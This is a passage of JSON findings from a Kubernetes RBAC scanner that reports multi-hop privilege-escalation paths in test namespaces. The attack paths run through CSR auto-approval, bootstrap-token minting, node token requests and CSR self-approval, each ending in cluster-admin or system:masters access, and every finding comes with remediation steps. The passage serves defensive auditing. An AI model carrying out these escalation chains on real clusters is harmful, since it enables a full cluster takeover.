        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/nodeid-fixtures/nodeid-joiner:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "CRITICAL",
    "score": 9.15,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-joiner` can impersonate **`system:masters`** in 3 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-joiner` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (3 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/` via `csr_nodeclient_autoapprove` (create certificatesigningrequests + create certificatesigningrequests/nodeclient): can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource\n  2. `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `ServiceAccount/csr-fixtures/sa-csr-mint` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount csr-fixtures/sa-csr-mint, whose pod is bound there\n  3. `ServiceAccount/csr-fixtures/sa-csr-mint` → `/` via `csr_approve` (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-joiner",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-joiner` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/nodeid-fixtures/nodeid-joiner`.",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-joiner`, the attacker submits a CertificateSigningRequest for the `kubernetes.io/kube-apiserver-client-kubelet` signer naming `system:node:\u003cname\u003e` in `system:nodes` (`create certificatesigningrequests + create certificatesigningrequests/nodeclient`). The controller manager's CSR approver asks the API server whether the requester may `create certificatesigningrequests/nodeclient`; it may, so the CSR is approved and signed with no human step. Nothing ties the node name to the requester, so the certificate is a kubelet identity for any node the attacker names.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/csr-fixtures/sa-csr-mint` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/csr-fixtures/sa-csr-mint`.",
      "Acting as `ServiceAccount/csr-fixtures/sa-csr-mint`, the attacker submits a CertificateSigningRequest whose Subject DN claims a privileged identity, then self-approves it via the `certificatesigningrequests/approval` subresource (`create certificatesigningrequests + update certificatesigningrequests/approval`). The apiserver maps a client cert's Common Name onto the username it authorizes and never checks whether that identity is one Kubernetes would have issued, so `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as that ServiceAccount. (The textbook `O=system:masters` claim is blocked for this signer by the default CertificateSubjectRestriction admission plugin; the CN route is not.) The cert persists after the RBAC grant is revoked; with no CRL in Kubernetes, only a CA rotation invalidates it.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. csr_nodeclient_autoapprove [create certificatesigningrequests + create certificatesigningrequests/nodeclient]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. csr_approve [create certificatesigningrequests + update certificatesigningrequests/approval]"
      ],
      "first_action": "csr_nodeclient_autoapprove",
      "hop_count": 3,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "csr_nodeclient_autoapprove",
        "node_token_request",
        "csr_approve"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the permission `create certificatesigningrequests + create certificatesigningrequests/nodeclient` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the permission `create certificatesigningrequests + create certificatesigningrequests/nodeclient` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-joiner` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "csr_nodeclient_autoapprove",
        "technique": "KUBE-PRIVESC-037",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + create certificatesigningrequests/nodeclient",
        "gains": "can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource",
        "source_binding": "crb-nodeid-joiner",
        "source_role": "cr-nodeid-joiner"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-joiner",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount csr-fixtures/sa-csr-mint, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "csr_approve",
        "technique": "KUBE-PRIVESC-011",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-csr-mint",
          "namespace": "csr-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create certificatesigningrequests + update certificatesigningrequests/approval",
        "gains": "can submit a CSR claiming a privileged identity (a kube-system ServiceAccount CN, or system:masters where CertificateSubjectRestriction is off) and self-approve it, minting a CA-signed client cert"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/nodeid-fixtures/nodeid-tokenwriter:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.100000000000001,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` can reach **cluster-admin equivalent** in 3 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 3 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/` via `bootstrap_token_mint` (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `ServiceAccount/foothold-exec/foothold-decoy-sa` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there\n  3. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-tokenwriter",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` (RCE in any application using its identity, leaked token, or compromised image).",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/foothold-exec/foothold-decoy-sa` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/foothold-exec/foothold-decoy-sa`.",
      "The identity `ServiceAccount/foothold-exec/foothold-decoy-sa` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. wildcard_permission [*:*:*]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 3,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create secrets in kube-system` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `create secrets in kube-system` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "nodeid-tokenwriter",
        "source_role": "nodeid-tokenwriter",
        "binding_namespace": "kube-system"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "foothold-decoy-admin",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN:ServiceAccount/privesc-fixtures/sa-secret-mint:cluster_admin_equivalent",
    "rule_id": "KUBE-PRIVESC-PATH-CLUSTER-ADMIN",
    "severity": "CRITICAL",
    "score": 9.100000000000001,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-secret-mint` can reach **cluster-admin equivalent** in 3 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-secret-mint` has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (`verbs:[*]` on `resources:[*]`). The graph search found a chain of 3 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not \"could this be exploited\" but \"how quickly\". Every hop is a built-in API operation, no exploit dev needed.\n\nThe chain (each step uses an explicit RBAC verb the engine validated against the snapshot):\n  1. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `/` via `bootstrap_token_mint` (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `ServiceAccount/foothold-exec/foothold-decoy-sa` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there\n  3. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `wildcard_permission` (*:*:*): wildcard verbs on wildcard resources in wildcard API groups\n\nThis finding is correlated against pod-mounted ServiceAccounts and the engine's `correlate` pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-mint",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-secret-mint` → `cluster-admin equivalent`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Compromise of `ServiceAccount/privesc-fixtures/sa-secret-mint` (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.",
    "attack_scenario": [
      "Attacker compromises any pod or credential associated with `ServiceAccount/privesc-fixtures/sa-secret-mint` (RCE in any application using its identity, leaked token, or compromised image).",
      "Acting as `ServiceAccount/privesc-fixtures/sa-secret-mint`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create,get secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "Holding a node identity, the attacker requests a token for ServiceAccount `ServiceAccount/foothold-exec/foothold-decoy-sa` through the TokenRequest API. The Node authorizer allows a node to mint tokens for the ServiceAccount of any pod bound to it, and the identity names whichever node that pod runs on, so the request succeeds and the attacker now acts as `ServiceAccount/foothold-exec/foothold-decoy-sa`.",
      "The identity `ServiceAccount/foothold-exec/foothold-decoy-sa` already holds wildcard verbs on wildcard resources (`*:*:*`), which is functionally identical to `cluster-admin`. The attacker can take any action on any resource in the cluster without further escalation.",
      "Final step: attacker now wields a credential authorized for `verbs:[*]` on `resources:[*]`. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create,get secrets in kube-system]",
        "2. node_token_request [node authorizer: create serviceaccounts/token for pods bound to the node]",
        "3. wildcard_permission [*:*:*]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 3,
      "target": "cluster_admin_equivalent",
      "target_namespace": "",
      "techniques": [
        "bootstrap_token_mint",
        "node_token_request",
        "wildcard_permission"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create,get secrets in kube-system` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-secret-mint` → `/`).",
    "remediation_steps": [
      "Confirm the chain is real with `kubectl auth can-i` for each verb the engine cited (run as the source SA / each intermediate hop).",
      "Identify the lowest-cost hop to break (typically remove the permission `create,get secrets in kube-system` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-secret-mint` → `/`)); removing one mid-chain hop kills the entire path.",
      "Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.",
      "For each remaining `wildcard verbs / wildcard resources` binding in the chain, run `audit2rbac` to derive the minimum verbs the workload actually uses, then replace.",
      "Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with `verbs:[*]` on `resources:[*]` to non-system subjects, plus a CI check that re-runs `kubesplaining` against the rendered manifests of every PR."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create,get secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "crb-secret-mint",
        "source_role": "cr-secret-mint"
      },
      {
        "step": 2,
        "action": "node_token_request",
        "technique": "KUBE-NODE-AUTHZ",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "permission": "node authorizer: create serviceaccounts/token for pods bound to the node",
        "gains": "as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there"
      },
      {
        "step": 3,
        "action": "wildcard_permission",
        "technique": "KUBE-PRIVESC-017",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-decoy-sa",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "*:*:*",
        "gains": "wildcard verbs on wildcard resources in wildcard API groups",
        "source_binding": "foothold-decoy-admin",
        "source_role": "cluster-admin"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.1",
        "title": "Ensure that the cluster-admin role is only used where required",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:cluster_admin_equivalent"
    ]
  },
  {
    "id": "KUBE-SA-PRIVILEGED-002:ServiceAccount/foothold-exec/foothold-decoy-sa",
    "rule_id": "KUBE-SA-PRIVILEGED-002",
    "severity": "CRITICAL",
    "score": 9.1,
    "category": "privilege_escalation",
    "title": "ServiceAccount `ServiceAccount/foothold-exec/foothold-decoy-sa` is mounted by live workloads and has dangerous permissions: secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)",
    "description": "ServiceAccount `ServiceAccount/foothold-exec/foothold-decoy-sa` carries one or more dangerous RBAC capabilities (secrets (cluster), create pods (cluster), mutate workloads (cluster), bind roles (cluster), bind/escalate (cluster), impersonate (cluster), nodes/proxy (cluster)) *and* is actively mounted by workloads (Pod/foothold-exec/foothold-decoy). The combination matters: a dangerous permission on an unused SA is latent risk; the same permission on an SA that ships in a running pod is a pre-positioned exploitation primitive. The attacker does not need to find the SA token, because the pod is the SA token.\n\nThe flagged capabilities map directly to known privesc paths:\n- `secrets` → read service-account tokens of higher-privileged SAs (`KUBE-PRIVESC-005`).\n- `create pods` → mount any SA in a new pod, run as root, or set `hostPath: /` to escape (`KUBE-PRIVESC-001`, `KUBE-ESCAPE-*`).\n- `mutate workloads` → modify a Deployment to swap its image / SA, gaining the workload's identity (`KUBE-PRIVESC-003`).\n- `bind roles` / `bind/escalate` → grant yourself or any SA arbitrary permissions, cluster-wide (`KUBE-PRIVESC-009`, `KUBE-PRIVESC-010`).\n- `impersonate` → assume any user/group/SA, instantly bypassing RBAC (`KUBE-PRIVESC-008`).\n- `nodes/proxy` → kubelet API access to read all pod logs/exec on a node (`KUBE-PRIVESC-012`).\n\nWorkloads using this SA: Pod/foothold-exec/foothold-decoy. Each is a starting point: any RCE, any leaked container image layer, any logs accidentally containing the token are equivalent to the SA's RBAC.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "resource": {
      "kind": "ServiceAccount",
      "name": "foothold-decoy-sa",
      "namespace": "foothold-exec"
    },
    "namespace": "foothold-exec",
    "scope": {
      "level": "namespace",
      "detail": "ServiceAccount `foothold-exec/foothold-decoy-sa`: namespace-scoped subject; mounted by pods in `foothold-exec`"
    },
